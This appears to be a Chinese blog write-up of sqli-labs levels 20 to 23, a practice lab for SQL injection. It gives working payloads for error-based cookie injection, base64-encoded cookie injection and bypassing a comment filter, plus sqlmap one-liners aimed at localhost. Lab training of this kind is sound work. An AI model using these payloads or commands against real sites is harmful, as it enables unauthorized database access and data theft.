sqli-labs 20到23

发布时间 2023-05-30 20:30:10作者: 米斯特李

第20题

输入用户名密码发现是这样的页面

 抓包看看,尝试cookie注入:

admin' and extractvalue(1,concat(0x7e,database()))#

 其他好做了。

第21题

抓包是这样:

 看看这uname什么成分?

 可以看到是对admin先进行了base64编码,然后对=进行了url编码

这里尝试对admin进行base64编码后再整个进行url编码,可以看到反应正常

 注入思路:将注入语句按照同样方式编码。

首先对'进行编码并注入:

 再对“进行编码后注入:可以看到'报错,”不报错,闭合方式与'有关,再看上图的报错,尝试')闭合

这里对') or 1=1#编码后注入:不报错,找到闭合方式。

 

 爆库:

首先进行编码

 爆表名

这里建议编码的时候只编码最后一位符号即可

 

好像不用url编码也可以

 

 其他就简单了,如果用sqlmap扫描,只需要一句话

sqlmap -u http://127.0.0.1/Less-21/ --cookie="uname=1"* --dbms MySQL --threads=10 --batch --tamper=base64encode

注意tamper必须是base64encode

第22题

使用admin登录:

 抓包查看

使用'注入发现不报错,使用“报错

 

 查看报错信息:应该就是”闭合

 闭合方式为“闭合

 爆库名:

 爆表名

 其余同理。

第23题

打开页面

 

查看闭合方式:'报错,“不报错

 发现不管后面加空格还是#都会网页错误

 

应该是对某些字符进行了过滤,可以看到对-没有过滤

 那就好办了

注释语句-- -中的空格可以使用/**/代替

 结果发现注释并没有起作用,那应该是把-也过滤了。

换个payload吧

?id=-1'or'1'='1

因为我们知道是'闭合方式,所以注入后相当于id=-1'or'1'='1'limit 0,1

?id=-1'union/**/select/**/1,database(),3/**/and'1'='1 

 其实交给sqlmao一句话就搞定了

sqlmap -u http://localhost/sqli-labs-php7-master/Less-23/?id=1 --dbs

 甚至参数都不用加